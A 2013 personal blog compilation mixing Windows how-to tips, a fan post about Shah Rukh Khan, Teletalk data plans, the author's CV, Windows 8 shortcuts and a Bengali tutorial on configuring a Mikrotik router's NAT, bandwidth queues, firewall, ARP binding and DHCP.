Shahriar Prince

How to clear virtual memory when PC shut downs

2013-08-28T01:32:00.000+06:00

By default, the Clear virtual memory pagefile when system shuts down Group Policy setting is turned off. To confirm this setting on Windows 2000, on Windows XP, or on Windows Server 2003, follow these steps:

Click Start, point to Settings, and then click Control Panel.
Double-click Administrative Tools.
Double-click Local Security Policy.
Double-click Local Policies.
Click Security Options.
Look in the Effective Setting column to the right side of the Clear virtual memory pagefile when system shuts down entry.

To check this setting on Windows Vista and on later versions, follow these steps:

Click Start, type secpol.msc, and then press ENTER.
Expand Local Policies.
Click Security Options.
Look in the 'Security Setting column to the right side of the Shutdown: Clear virtual memory pagefile entry.

Retrieve your all files which is being hidden in pendrive or flash drive

2013-07-25T13:18:00.001+06:00

Sometimes your files containing in the pendrive is being hidden by virus or malware. And sometimes it is not possible to retrieve it only by activating hidden files option from tools menu. So it can be a good option to help you here.

Click on "Start" --> Run --> then type cmd and click on OK.
Or Press windows key+r to start run then type cmd and press enter or click on OK.

Assuming your pendrive is H, enter the following command:

attrib -h -r -s /s /d h:\*.*

Why do I love SRK?

2013-03-04T21:42:00.002+06:00

I love SRK when i see him in DDLJ, refusing to take Anjali away without her parents prayers.

I love SRK when i see him KKHH, loving his friend to the core. I love SRK when i see him in Dil toh pagal hai, loving a girl who's just in his imagination.

I love SRK when i see him in Mohabbatein, fighting with the powerful headmaster of college for the sake of love.

I love SRK when i see him in Kabhi Khushi Kabhi Gham, loving his parents to the core but still refuses to leave Anjali just because of status different.

I love SRK when i see him in Devdas, leaving his house for his love and becoming a drunkard who gives his life in front of his loved one's house.

I love SRK when i see him in Main Hoon na, fighting with terrorists who doesn't want to see Pak-Ind ending theri enmity.

I love SRK when i see him in Kal Ho naa Ho, loving Naina so much that refusing her proposal just do avoid hurting her because he's dying.

I love SRK when i see him in Veer Zaara, leaving Air force and his country just on a single call from his love and being in jail for 22 years to protect the Zaara.

I love SRK when i see him in Swades, leaving his job at NASA to come back to Indian to help improve the lifestyle of Indian villagers.

I love SRK when i see him in CDI, proving his loyality towards his country by uniting a seemingly enemies.

Teletalk all data/internet plans:

2013-03-04T13:29:00.004+06:00

Srejon Sharfenul | 24 October 2012 11:30 am

Teletalk All Data/Internet Plans:2G & 3G
New 2G Mobile Internet Plans [All Users can use,existing also] Data Plan Activation: Type “Subscription Code” send to 111
5MB 4tk 1day validity Subscription Code “D1″
10MB 8tk 2day validity Subscription Code “D2″
30MB 20tk 7day validity Subscription Code “D3″
250MB 100tk 15day validity Subscription Code “D4″
1GB 4tk 200day validity Subscription Code “D5″
Unlimited 600tk 30day validity Subscription Code “D6″
…=***=…
3G Mobile Internet Plans Data Plan Activation:
Type “Subscription Code” send to 111 Speed 128 Kbps
10MB 8Tk 1Day Validity Code “D7″
2GB 350Tk 30Days Validity Code “D11″
Unlimited 650tk 30day validity Subscription Code “D12″
Speed 256Kbps 1GB 175Tk 10Days Validity Code “D14″
4GB 600Tk 30Days Validity Code “D16″
Unlimited 1050tk 30day validity Subscription Code “D17″
Speed 512 Kbps 1GB 200Tk 10Days Validity Code “D19″
2GB 500Tk 30Days Validity Code “D20″
10GB 1000Tk 30Days Validity Code “D22″
Speed 1mbps 4GB 800Tk 30Days Validity Code “D25″
8GB 1200Tk 30Days Validity Code “D26″
Speed 2mbps 10GB 2500Tk 30Days 2Validity Code “D21″

=***=

Teletalk GPRS service[Old 2G Plans]
1. To register “Pay per use” or “No Use No Pay” connection, write ‘reg’ and send SMS to 111.
2. To register monthly limited “250tk+ VAT per month-1GB” connection, write ‘m01g’ and send SMS to 111.
3. To register daily limited “08tk+ VAT per day - 10MB” connection, write ‘d10m’ and send SMS to 111.
4. To register Weekly (7 days) limited “40tk+ VAT per 7 days - 50MB” connection, write ‘w50m’ and send SMS to 111.
5. To register Fortnightly (15 days) limited “80tk+ VAT per 15 days - 100MB” connection, write ‘f100m’ and send SMS to 111.
6. To register unlimited GPRS connection, write ‘unl’ and send SMS to 111. *Monthly Unlimited 800.00 + VAT, *Monthly Unlimited [Shadheen66 Package] 666.00 + VAT
7. To register daily unlimited connection 50.00 + VAT, write ‘dunl’ and send SMS to 111.
**To check the Usage of Volume Bundled Package write ‘u’ and send SMS to 111.
**helpline 1234

Curriculum Vitae

2013-02-27T04:32:00.000+06:00

H. M. Shahriar Parvez
10/21 Tajmahal Road(1^st Floor)
Mohammadpur, Dhaka, 1207
(880) 1670112040
shahriarprince@live.com

EXPERIENCE

ICT HeadQuarters, Web Developer
March '2012 – January ‘2013
Web Developer on ICT HeadQuarters Bangladesh. Duties include developing websites, e-Commerce websites, web based applications using HTML, CSS, PHP, Ajax, JQuery. Also assisting in design of Softwares and Websites and working closely with new developers in ICT HeadQuarters.

Outsourcing, SEO Programmer
January '2011 - Present
Took an intensive one month lesson and exam program for SEO in google online training program. The one month program covered advanced topics in SEO, google analytics, search engine tools.

TECHNICAL

Languages: C++, Java, C, .NET, SQL, HTML, CSS, PHP
Applications: MS Visual Studio, PHP
Operating Systems: Windows
Database Systems: SQL Server, MySQL, Oracle 10g

CAREER OBJECTIVE

Seeking a position to utilize my skills and abilities in the Software/Technology Industry that offers security and Professional growth while being resourceful, innovative and flexible.

EDUCATION

1. University of Liberal Arts Bangladesh, Dhanmondi, Dhaka, Present
Major: Computer Science, Minor: BBA

2. Beersreshtha Munsi Abdur Rauf Rifles College, Pilkhana, Dhaka, 2008

Major: Science, GPA: 4.60

3. Mohammadpur Government High School, Mohammadpur, Dhaka, 2006

Major: Science, GPA: 5.00

Member of College, Varsity football team, Debate team

PERSONALITY TRAITS

· Team spirit and can work individual as well.

· Adaptive, determined & focused person.

· Good management & communication skills.

· Self-Motivated and Confident.

· Interested in new things related to my career and also a quick learner

COMPLETED PROJECTS

www.mitosisbd.com

www.famebd.org

www.tinyjewelhouse.com(group)

www.flexbd.com

PERSONAL PROFILE

Date Of Birth : 15 November, 1991
Marital Status : Unmarried
Languages Known : English, Bengali, German(got admitted in Goethe Institut)
Nationality : Bangladeshi
Email: shahriarprince@live.com, shahriar.parvez.std@ulab.edu.bd

Skype ID: shahriar.prince1

Website: www.shahriarprince.blogspot.com

REFERENCES

Available on request.

DECLARATION

I hereby declare that all the above given information is true as per my knowledge.

Place : ___________
Date : ___________

Make two hard drives act as one in Windows 7

2013-02-06T07:24:00.001+06:00

Can't afford a 1TB drive, but you've got two 500GB drives just lying around? Windows can combine them.
The Windows XP/Vista/7 feature is called spanning, and it can extend the usefulness of older, smaller hard disks. Here's how to create a spanned volume:
Step 1: Go to Start, then type "diskmgmt.msc" in the search box. This will launch the Windows disk management tool. Make sure that the disks you want to combine, are unformatted and don't contain any partitions. In our example, we're going to combine Disk 1 (298.09GB) and Disk 3 (186.31GB).

(Credit: Screenshot by Ed Rhee)

Step 2: Right-click on one of the drives to be combined, then select New Spanned Volume.

(Credit: Screenshot by Ed Rhee)

Step 3: When the New Spanned Volume Wizard appears, click Next, then add the disk(s) you want to combine, to the disk you already selected.

Step 4: Complete the rest of the wizard, which involves selecting a drive letter and formatting the new volume.
Step 5: Once you complete the wizard, check the Windows disk management tool for the volume you just created. You should see the new volume listed at the top. The disks should also be labeled in purple (Disk 1 and Disk 3 in our example).

That's it. We recommend including the spanned volume to your regular backups, because if one of the drives in the volume fails, the entire volume will be destroyed.

Actual Link: http://howto.cnet.com/8301-11310_39-57378002-285/how-to-turn-old-hard-drives-into-one-large-drive-in-windows/

50 Windows 8 Keyboard Shortcuts You Should Know

2013-01-23T21:53:00.004+06:00

Windows 8 is the latest offering from Microsoft and has reinvented itself as an operating system for both tablet and PC users. While touchscreen users can take advantage of the many navigational rewrites e.g. the Charms Menu, Metro UI with tiles, and swipes, Microsoft has also done their part to ensure that users who prefer getting around with the keyboard would not be left out.

To cater to this group, Microsoft has integrated new keyboard shortcuts to let them navigate through the reconstructed OS faster and easier. And as much fun as touchscreens can be, sometimes you can do more with keyboard shortcuts than you can with swipes. Besides, if you are part of the keyboard generation, shortcuts just come more naturally anyways.
Read on for 50 keyboard shortcuts that you’d probably find yourself using on Windows 8, when out of swipe mode.

Recommended Reading: More Windows 8 related articles.

Shortcut	Description
Windows Key + D	Show Desktop
Windows Key + C	Open Charms Menu
Windows Key + F	Charms Menu – Search
Windows Key + H	Charms Menu – Share
Windows Key + K	Charms Menu – Devices
Windows Key + I	Charms Menu – Settings
Windows Key + Q	Search For Installed Apps
Windows Key + W	Search Settings
Windows Key + Tab	Cycle through open Modern UI Apps
Windows Key + Shift + Tab	Cycle through open Modern UI Apps in reverse order
Windows Key + .	Snaps app to the right (split screen multitasking)
Windows Key + Shift + .	Snaps app to the left (split screen multitasking)
Windows Key + ,	Temporarily view desktop
Alt + F4	Quit Modern UI Apps
Windows Key + E	Launch Windows Explorer Window
Windows Key + L	Lock PC and go to lock screen
Windows Key + T	Cycle through icons on taskbar (press Enter to launch app)
Windows Key + X	Show Advanced Windows Settings Menu
Windows Key + E	Launch Windows Explorer Window
Windows Key + Page Down	Moves Start screen and apps to secondary monitor on the right
Windows Key + M	Minimize all Windows
Windows Key + Shift + M	Restore all minimized Windows
Windows Key + R	Open Run dialog box
Windows Key + Up Arrow	Maximize current window
Windows Key + Down Arrow	Minimize current window
Windows Key + Left Arrow	Maximize current window to left side of the screen
Windows Key + Right Arrow	Maximize current window to right side of the screen
Ctrl + Shift + Escape	Open Task Manager
Windows Key + Print Screen	Takes a Print Screen and saves it to your Pictures folder
Windows Key + Page Up	Moves Start screen and apps to secondary monitor on the left
Windows Key + Pause Break	Display System Properties
Shift + Delete	Permanently delete files without sending it to Recycle Bin
Windows Key + F1	Open Windows Help and Support
Windows Key + V	Cycle through notifications
Windows Key + Shift + V	Cycle through notifications in reverse order
Windows Key + 0 to 9	Launch/show app pinned to taskbar at indicated number
Windows Key + Shift + 0 to 9	Launch new instance of app pinned to taskbar at indicated number
Alt + Enter	Display Properties of selected item in File Explorer
Alt + Up Arrow	View upper level folder of current folder in File Explorer
Alt + Right Arrow	View next folder in File Explorer
Alt + Left Arrow	View previous folder in File Explorer
Windows Key + P	Choose secondary display modes
Windows Key + U	Open Ease of Access Center
Alt + Print Screen	Print Screen focused Window only
Windows Key + Spacebar	Switch input language and keyboard layout
Windows Key + Shift + Spacebar	Switch to previous input language and keyboard layout
Windows Key + Enter	Open Narrator
Windows Key + +	Zoom in using Magnifier
Windows Key + -	Zoom out using Magnifier
Windows Key + Escape	Exit Magnifier

Mikrotik Router Tutorial

2013-01-23T00:54:00.003+06:00

Mikrotik কি?
Mikrotik হল একটি ব্র্যান্ড নাম। এটি একটি লিনাক্স ভিত্তিক Router operating system. এই Router operating system দিয়ে আপনি আপনার নিজের পিসি টিকে Mikrotik Router বানিয়ে নিতে পারেন। আবার বাজারে বিভিন্ন মডেল এর Mikrotik Router Board কিনতে পাওয়া যায়। যেমনঃ RouterBOARD 450, RouterBOARD 450G, RouterBOARD 750GL, RouterBOARD RB 1100AH.
Mikrotik Router কি?
Mikrotik Router হল একটি Intelligent Router. Mikrotik router দিয়ে সাধারন Router এর সব কাজ করা যায়। কিন্তু এর পাশাপাশি Mikrotik এর বেশ কিছু ফিচার এর কারনে এটা দিয়ে নেটওয়ার্ক Administration এর কাজও করা যায়।
Mikrotik Router এর ফিচার সমূহঃ
১। DHCP Server হিসেবে কনফিগার করা যায়। যেভাবে সাধারণ ব্রডব্যান্ড Router কাজ করে।
২। নেটওয়ার্ক এর সব গুলি IP এর Bandwidth Control করা যায়। এমনকি কোন IP ছাড়াই বিভিন্ন সার্ভিস এর Bandwidth control করা যায়। যেমনঃ Mail Bandwidth, Ping bandwidth, Voice Bandwidth ইত্যাদি।
৩। Web proxy হিসেবে কনফিগার করা যায়। Web proxy দিয়ে বিভিন্ন ওয়েব সাইট ব্লক করা যায়।
৪। একাধিক ISP এর ইন্টারনেট connection একসাথে ব্যাবহার করার জন্য Load Balance/Bandwidth Marge করা যায়।
৫। একই ISP এর একাধিক সংযোগ এর মধ্যে Auto Redundancy করা যায় (একটি ডাউন হলে অন্যটি অটোমেটিক আপ)।
৬। PPPOE Server হিসেবে Configure করা যায়। যার মাধ্যমে ব্রডব্যান্ড Dialer ইন্টারনেট সার্ভিস প্রদান করা সম্ভব।
৭। PPPOE Client হিসেবে configure করা যায়। যার মাধ্যমে BTCL ও অন্যান্য ব্রডব্যান্ড ইন্টারনেট সার্ভিস ব্যাবহার করা সম্ভব।
৮। নির্দিষ্ট কিছু মডেলের Mikrotik Router দিয়ে USB wimax modem, USB mobile modem এর ইন্টারনেট সার্ভিস পাওয়া সম্ভব।
৯। VPN Server এবং VPN Client হিসেবে Configure করা যায়।
১০। Advance firewall configure করা যায়।
১১। এছাড়াও রয়েছে আরও অনেক অনেক ফিচার।
অপারেশান এর পূর্বেঃ Networking এর বেসিক, IP Address, IP Class, Subnet, Subnet Mask সম্পর্কে ধারণা থাকা অবশ্যক।
প্রথমে আমরা জানব কিভাবে একটি Mikrotik Router সাধারণ ব্যাবহার এর জন্য Configure করা হয়। এই ক্ষেত্রে আমি একটি RB 450g মডেলের Mikrotik Router ব্যাবহার করেছি।
Mikrotik Router graphical mode a configure এর জন্য winbox software টি ব্যাবহার করা হয়। প্রাথমিক অবস্থায় Mikrotik Router (RouterBOARD) by default ভাবে DHCP Server mode এ Configure করা থাকে। তাই আমরা প্রথমেই Mikrotik Router টিকে Reset করে নিব।
১। Winbox software টি প্রথমে download করে নিন। Install এর প্রয়োজন নাই। সরাসরি winbox এ ক্লিক করুন।
২। এবার Mikrotik Router এর পাওয়ার অন করে যেকোনো একটি ether port এর সাথে Straight cable এর মাধ্যমে আপনার পিসি এর LAN port a connect করুন।
৩। এরপর winbox এর connect to box এর পাশে ... icon এ ক্লিক করুন। এখানে একটি IP address এবং একটি MAC Address show করবে। Mac Address টিতে ক্লিক করুন তারপর login এ টাইপ করুন admin এরপর connect a click করুন। Password দেওয়ার প্রয়োজন নাই।

৪। এখন আমরা Mikrotik router টি Reset করে নিব। এর জন্য New Terminal এ ক্লিক করুন। এখন টাইপ করুন “system reset” তারপর Enter Press করুন। Confirm এর জন্য ‘y’ press করুন। এরপর router reset প্রক্রিয়া শুরু হবে এবং winbox disconncet হয়ে যাবে। আপনার PC’র LAN unplug show করবে। পুনরায় আবার যখন LAN Connect show করবে তখন আবার আগের প্রক্রিয়ায় winbox এর মাধ্যমে Mikrotik এ Login করুন। Login করার পর আপনার সামনে একটি উইন্ডো আসবে। ওইখানে Remove configuration a click করুন। Router টি আবার disconnect হয়ে যাবে। আগের প্রক্রিয়ায় পুনরায় লগইন করুন।
৫। Mikrotik Router টি এখন পুরোপুরি Zero configuration এ আছে। এবার আমরা Router টিকে Basic configure করে ব্যাবহারের উপযোগী করব।
৬। ISP থেকে দেওয়া IP address, Subnet mask, gateway, DNS Server এর IP address সমূহ এন্ট্রি করব এবং নিজেদের ব্যাবহার এর জন্য একটি Private IP address block এন্ট্রি করব।
৭। প্রথমে Menu থেকে IP > Address এ ক্লিক করুন। এরপর উইন্ডোটি ওপেন হলে + (add) icon এ ক্লিক করুন। আমরা এখানে উদাহরণ সরূপ একটি IP address, subnet mask, gateway address and DNS server address এন্ট্রি করব।
Address এর ঘরে আপনার IP address subnet mask সহ এন্ট্রি করুন। Interface এর ঘরে ether 1 (অথবা যেকোনো ether) Select করে Apply>Ok করুন।

৮। Gateway Address Add করার জন্য IP>Routes> +(add) এ ক্লিক করুন। এখানে Gateway ঘরে আপনার গেটওয়ে এড্রেস টাইপ করুন। এরপর Apply>OK করুন।

৯। এবার DNS Server এর এড্রেস অ্যাড করার পালা। এর জন্য IP>DNS এ ক্লিক করুন। এখান থেকে Setting-এ ক্লিক করুন। এরপর আপনার এক বা একাধিক DNS Address এন্ট্রি করুন। তারপর Apply>OK ক্লিক করুন।

এরপর New Terminal থেকে আপনার গেটওয়ে এবং ডিএনএস অ্যাড্রেসকে ping করে দেখুন। যদি রিপ্লাই পাওয়া যায় তাহলে আপনার WAN Side এর জন্য করা Configure ঠিক আছে। অন্যথায় আপনার Uplink Provider এর সাথে যোগাযোগ করুন।
এইবার আমরা LAN Side এর Configure শুরু করব। এই জন্য প্রথমে IP>Address>+(add) Button এ ক্লিক করুন। এরপর আপনার নিজস্ব নেটওয়ার্ক এর জন্য একটি IP block (192.168.1.1/24) এন্ট্রি করুন। Interface list থেকে একটি Ether choose করুন। যেমন ether5. এখানে উল্লেখ্য যে প্রথমে যে ether এ আমরা Real IP এন্ট্রি করেছিলাম সেই ether বাদে অন্য যেকোনো ether সিলেক্ট করতে হবে।
তারপর IP>Firewall এ আসুন। Firewall window থেকে NAT Tab এ ক্লিক করুন। প্রথমে +(add) button এ ক্লিক করুন, এখানে Chain: scrnat এবং Scr Address এর ঘরে আপনার Private IP’র পুরো Block টা টাইপ করে দিন (192.168.1.0/24) তারপর Advance Tab এ গিয়ে Action=Masquerade সিলেক্ট করে Apply>OK করুন।

ব্যাস হয়ে গেল আপনার Mikrotik Router এর বেসিক configure. এখন আপনার নেটওয়ার্ক এর বাকি পিসি গুলিতে পর্যায়ক্রমে 192.168.1.2, 192.168.1.3, 192.168.1.4 IP use করুন। এক্ষেত্রে পিসি গুলির gateway IP হবে 192.168.1.1
আজ এই পর্যন্তই।

গত পর্বে আমরা জেনেছি যে কিভাবে একটি Mikrotik Router বেসিকভাবে Configure করে ব্যাবহার করতে হয়। আজ আমরা Mikrotik Router এর সবচেয়ে জনপ্রিয় একটি ফিচার সম্পর্কে জানব। যার কারণে Mikrotik Router সবচেয়ে বেশি ব্যাবহার করা হয় তা হল এর Bandwidth Control Function এর জন্য।
গত পর্বে আমরা WAN (ether1) সাইড এ ISP কর্তৃক সরবরাহকৃত Real IP, Gateway IP, DNS server IP দিয়ে এবং LAN (ether5) এ একটি Private IP block (192.168.1.0/24) দিয়ে Configure করে নিজস্ব নেটওয়ার্ক এ 192.168.1.2, 192.168.1.3, 192.168.1.4, 192.168.1.5, 192.168.1.6 আইপি ব্যাবহার করা শিখেছিলাম। আজ আমরা ওই সকল আইপির Bandwidth Control করা শিখবো।
তবে প্রথমে আমাদের Mikrotik Router এর clock ঠিক করে নিতে হবে। এর জন্য winbox এর মাধ্যমে Mikrotik Router a Login করুন।
তারপর System>Clock এ ক্লিক করুন। এখানে Date, Time and Manual Time Zone ঠিক করে দিন। Apply>OK তে ক্লিক করুন।
এরপর Queues তে ক্লিক করুন। এখানে Simple Queues Tab থেকে + (add) এ ক্লিক করুন। এরপর নিচের ফিল্ড গুলি লক্ষ্য করুন।

Name: ওই পিসি’র নাম (আপনার ইচ্ছামত)।
Target Address: ওই পিসি’র আইপি অ্যাড্রেস (যে আইপির Bandwidth control করতে চান)।
Target Upload and Target Download: ওই আইপির upload speed এবং download speed. এখানে আপনি আপনার ইচ্ছামত Custom value দিতে পারেন, তবে অবশ্যই lower case “k” টাইপ করবেন (k = kilo bit, K= kilo byte)
এই Setting এর উপর মুলত ইউজার এর bandwidth পাওয়া নির্ভর করবে। যদি download সেট করেন 256k তাহলে ইউজার ম্যাক্সিমাম 32 KB speed এ download করতে পারবে।
Burst Limit (optional) : যদি মনে করেন ইউজার ব্যাবহারের শুরুতে কিছু বেশি bandwidth পাবে তাহলে সেটা কত ? তা এখানে উল্লেখ করতে পারেন।
Burst Threshold (optional): Burst bandwidth সর্বনিম্ন কত হবে তা এখান থেকে নির্ধারণ করা হয়।
Burst Time (optional): ব্যাবহারের প্রথম থেকে কত সেকেন্ড পর্যন্ত Burst bandwidth থাকবে তার value. যেমন- যদি ১৫ মিনিট হয় তাহলে ১৫*৬০=৯০০
Time (optional) : যদি মনে করেন মূল Bandwidth (256k/256k) কোন একটি নির্দিষ্ট সময়ে থাকবে তাহলে কখন থেকে কখন তা উল্লেখ করুন ২৪ ঘণ্টা ফরম্যাট এ। এখানে উল্লেখ্য যদি কোন আইপির একটি Time Slot create করেন, যেমন- 00.00.00-07.59.59 তাহলে এই আইপির আরও ২ টি queue করে তাতে বাকী time slot গুলি উল্লেখ করে দিন। যেমন- 08.00.00-15.59.59 and 16.00.00-23.59.59. নইলে Bandwidth loop সম্পরকৃত জটিলতা দেখা দিতে পারে।
Days (optional): আপনি আপনার Bandwidth settings কোন কোন দিনে ব্যাবহার করবেন তা এইখানে বলে দিন।
আরও অপশন এর জন্য পাশের Advance Tab এ ক্লিক করুন।

Parent (optional): আপনি ইচ্ছা করলে Bandwidth গ্রুপ করতে পারেন এবং এই queue টি কোন গ্রুপ এর আওতায় হবে কিনা তা বলে দিতে পারেন। যেমন- আপনার অফিস এ Commercial, Marketing, Technical ডিপার্টমেন্ট এর জন্য ৩ টি প্যারেন্ট queue বানাতে পারেন এবং ওই queue এর অধীনে অন্য queue বানাতে পারেন। তখন কোন queue create করার সময় প্যারেন্ট থেকে (Commercial, Marketing, Technical) Select করে দিতে পারেন।
এখানে উল্লেখ্য যে, Child queue কখনই Parent queue এর bandwidth limit cross করতে পারবে না। যেমন- যদি Commercial queue এর Bandwidth limit 512k/512k হয় তাহলে এর Child queue গুলি কখনই 512k/512k এর বেশি Bandwidth পাবে না।
Priority(optional) : এই আইপির Bandwidth Priority. By default 8. আপনি যদি মনে করেন এই আইপির Bandwidth সবচেয়ে বেশি প্রয়োজন তাহলে Priority 1 করে দিন। উদাহরনঃ মনে করুন আপনার অফিস এর Total Bandwidth 1 Mbps. এখন ১৫ টি পিসি’তে আপনি 256k/256k সেট করেছেন। এমতাবস্থায় কেউই একযোগে 256kbps Bandwidth পাবে না। এখন যদি আপনি মনে করেন যে অন্য সব queue Bandwidth crisis এ ভুগলেও অন্তত ১ টি বা একাধিক queue যাতে সব সময় চাহিবা মাত্র তাদের Bandwidth পায় তাহলে ওই সকল queue এর priority = 1 করে দিন।
সবশেষে Apply>OK তে ক্লিক করুন। তখন দেখবেন ১ টি queue তৈরি হয়ে গিয়েছে। এভাবে আপনার সব আইপি গুলির queue তৈরি করুন। মনে রাখবেন যে সকল আইপি আপনার নেটওয়ার্ক এ ব্যাবহার হচ্ছে অথচ আপনি তাদের queue তৈরি করেনি মানে Bandwidth control set করেন নি ওই সকল আইপি Unlimited Bandwidth পাবে। একই কথা প্রযোজ্য যদি আপনি আপনার কোন queue disable(x) করে দেন।

উপরের “optional” গুলি ছাড়াও আপনি শুধুমাত্র Name, Target Address, Upload and download limit সেট করে Bandwidth control করতে পারেন। বাকী অপশন গুলি Advance level এ ব্যাবহারের জন্য। আমরা পরবর্তীতে অন্য Function এ এই অপশন গুলির ব্যাবহার দেখব।

২য় পর্বে আমরা Mikrotik Router এর clock set করা শিখেছিলাম। কিন্তু যদি আপনার Router টি কোন কারণে restart হয় তাহলে সাথে সাথে আপনার router এর Clock টিও কিন্তু reset হয়ে যাবে। আপনারা ইতিমধ্যেই জেনেছেন যে queue এর time slot করতে গেলে clock ঠিক থাকা জরুরী। এছাড়াও পরবর্তী কিছু Function এর জন্য আমাদের Router এর টাইম এর সাহায্য নিতে হবে।

স্বয়ংক্রিয় ক্লক সেট

তাই আজ আমরা প্রথমেই জানব যে Router restart হবার পরও যাতে Mikrotik নিজেই তার টাইম ঠিক করে নেয়। এর জন্য প্রথমে Router এর Clock ম্যানুয়ালি ঠিক করে নিন (২য় পর্বের মত)। Mikrotik এ লগইন করে IP>NTP Client (This option availability depend on the RouterOS version) এ ক্লিক করুন। এরপর নিচের মত করে সেটিং করে নিন।

এখানে Primary NTP Server হিসেবে একটি NTP Server এর আইপি উল্লেখ করা হয়েছে। আপনি ইন্টারনেট এ সার্চ করলে এই রকম অনেক NTP Server এর আইপি পাবেন। প্রয়োজনে একাধিক NTP Server এর আইপি ব্যাবহার করুন। তারপর Apply>OK করুন।
এইবার আশা করা যায় আপনার Mikrotik Router, restart হলেও নিজে থেকেই ক্লক আপডেট করে নেবে NTP Server থেকে।
এরপর আমরা Mikrotik Router এর বেসিক Firewall configure করব। এর জন্য IP>Firewall এ ক্লিক করুন। তারপর Filter Rules Tab এ ক্লিক করুন। এখানে Add (+) বাটন এ ক্লিক করুন। তারপর নিচের Parameter গুলি খেয়াল করুন।
Chain=Input
Protocol= 1(icmp)
Action=accept
এর ফলে বাহিরের যেকোনো জায়গা থেকে আপনার Router কে পিং করে পাওয়া যাবে।
Chain=Input
Src Address=A Real IP/Real IP Block (এইখানে আপনি একটি রিয়াল আইপি অথবা একটি রিয়াল আইপি ব্লক দিতে পারেন, যেসব আইপি থেকে আপনার Router এ winbox দিয়ে লগইন করা যাবে অথবা অন্য কোন সেবা পাওয়া যাবে) ছবিতে উদাহরণ স্বরূপ 115.144.0.0/21 দেখানো হয়েছে। আপনি যদি কোন পোর্ট, প্রটোকল উল্লেখ না করেন তবে সকল পোর্ট এবং প্রটোকল accept বলে গণ্য হবে।
Action=accept
এইভাবে আপনার NTP Server এর আইপি ও অন্যান্য প্রয়োজনীয় আইপি, পোর্ট সমূহ Add করে নিন।

এরপর সকল অপ্রয়োজনীয় আইপি গুলিকে drop করে দিন। যেমন –
Chain=Input
Src. Address= ! 115.144.0.0/21 (! অর্থাৎ Not)
Action=drop
এখানে উল্লেখ্য যে সকল আইপি গুলিকে আপনি ড্রপ করবেন। ওই সকল আইপি থেকে আপনার Router কে Access করা যাবে না। উদাহরণ ! 115.144.20.0/21 তারমানে হচ্ছে 115.144.20.0/21 এই আইপি ব্লক ছাড়া আর অন্য কোন আইপি থেকে Mikrotik এ অ্যাক্সেস করা যাবে না। তাই Firewall তৈরি করার সময় অধিক সতর্কতা অবলম্বন করুন। প্রথমে আপনার প্রয়োজনীয় সকল আইপি গুলিকে accept করে নিন। তারপর অপ্রয়োজনীয় আইপি গুলিকে ড্রপ করুন। Accept Rules and Drop Rule এর sequence mix করে ফেলবেন না। আপনার তৈরি করা ড্রপ Rules সমূহ অবশ্যই accept Rules এর নিচে রাখুন।
Security’র আরও জোরদার করতে আপনার ইউজার নেম পাল্টে ফেলুন। সাধারনত Mikrotik এ ডিফল্ট ইউজার নেম admin হয়।
Mikrotik এর ইউজার নেম Create/Change/Permission Change/Password create or change ইত্যাদির জন্য System>User এ ক্লিক করুন। প্রথম আপনার নিজস্ব একটি ইউজার তৈরি করুন Users> + (add), user name and Group (full, write, read) তারপর প্রয়োজনে allowed Address এর ঘরে যে আইপি/আইপি ব্লক থেকে আপনার Mikrotik a login করতে চান তা উল্লেখ করুন। তারপর আপনার system এর default user (admin) এর জন্য একটি password set করুন অথবা disable করে দিন।

ARP (MAC) Bonding:

নেটওয়ার্ক Administration এর একটি কাজ হচ্ছে আপনার Router এর Client IP সমূহের MAC address আপনার Router এ bonding করে রাখা। এতে করে এক পিসি’র আইপি অন্য পিসি’তে ব্যাবহার রোধ করা যায়।
কেন করবেনঃ এর উত্তর আশাকরি ইতিমধ্যে পেয়ে গিয়েছেন। সংক্ষেপে হল, এক ইউজার এর Bandwidth ও অন্যান্য সেটিংস্‌ যাতে অন্য ইউজার তার অবর্তমানে তার আইপি ব্যাবহার করে use না করতে পারে তাই এই ARP Bonding.
এর জন্য প্রথমে IP>ARP তে ক্লিক করুন। এখানে আপনার Router এর সাথে connected সকল আইপি সমূহের MAC address শো করবে। এখানে আইপি গুলোর সামনে D (Dynamic) লেখা আছে। তার মানে হচ্ছে এই গুলির MAC Static করা নাই। এইবার যে সকল আইপির MAC static করতে চান তার উপর রাইট ক্লিক করে Make static করে দিন। তারপর দেখবেন যে ওই আইপির সামনের D লেখাটি চলে গিয়েছে অর্থাৎ ওই আইপির MAC static হয়ে গিয়েছে। এভাবে আপনার Lan Interface এর সকল আইপির MAC static করে দিন। তবে WAN Interface এর IP এর MAC static না করাই ভাল।

সকল LAN Interface(ether) IP er MAC static করা হয়ে গেলে Interface এ ক্লিক করুন। এখান থেকে আপনার LAN Interface(ether) double-click করুন, ARP: Reply-only করে দিয়ে Apply>Ok করুন।
ব্যাস হয়ে গেল আপনার Router এর Client আইপির MAC bonding! এখন চাইলেও কেউ কারও আইপি ব্যাবহার করতে পারবে না। যদি কোন আইপির MAC Free করতে চান তাহলে ইন্টারফেস এ ক্লিক করে প্রথমে আপনার LAN interface(Ether) এর ARP: Enable করে দিন। তারপর IP>ARP তে ক্লিক করে ওই আইপি টি সিলেক্ট করে Disable(x) করে দিন। যদি ওই আইপি আপনার Router এর সাথে connected থাকে তাহলে কিছুক্ষন এরমধ্যেই ওই আইপির সামনে D সহ আইপি’টি চলে আসবে। তখন বুঝবেন ওই আইপির MAC Free (dynamic) করা হয়ে গিয়েছে।
আজ এ পর্যন্তই।

Mikrotik Router টিউটোরিয়াল [পর্ব-০৪] :: DHCP Server Setup and Graphing

আজ আমরা প্রথমে শিখবো Mikrotik Router এ কিভাবে DHCP Server ইন্সটল করতে হয়। আমরা ইতিমধ্যে জেনেছিলাম LAN Side এ Private Block এর Static IP কিভাবে ব্যাবহার করতে হয়। কিন্তু আমরা যদি চাই যে static IP’র পরিবর্তে dynamic IP provide করতে (যেভাবে সাধারণ ব্রডব্যান্ড Router কাজ করে) তাহলে আমাদের Mikrotik Router-a DHCP Server Configure করতে হবে।
DHCP Server সহজে Configure করার জন্য প্রথমে আপনাকে একটি Private IP block এন্ট্রি করতে হবে (১ম পর্বের মত)। Then IP>DHCP Server এ ক্লিক করুন। এখন DHCP Tab সিলেক্ট করে DHCP Setup বাটন এ ক্লিক করুন। এরপর আপনার LAN Interface টি সিলেক্ট করে দিন। এরপর Next করুন, পরবর্তী অপশন গুলি By default ভাবে Mikrotik শো করবে। আপনার কাজ শুধু Next বাটন প্রেস করা। সবশেষে Finish হলে ওইখানে একটি Row তে আপনার তৈরিকৃত DHCP Server টি শো করবে। পাশের Lease tab থেকে আপনি দেখতে পারবেন কোন কোন Host কোন কোন আইপি lease নিয়েছে, Host name কি? lease time কতক্ষণ ইত্যাদি।

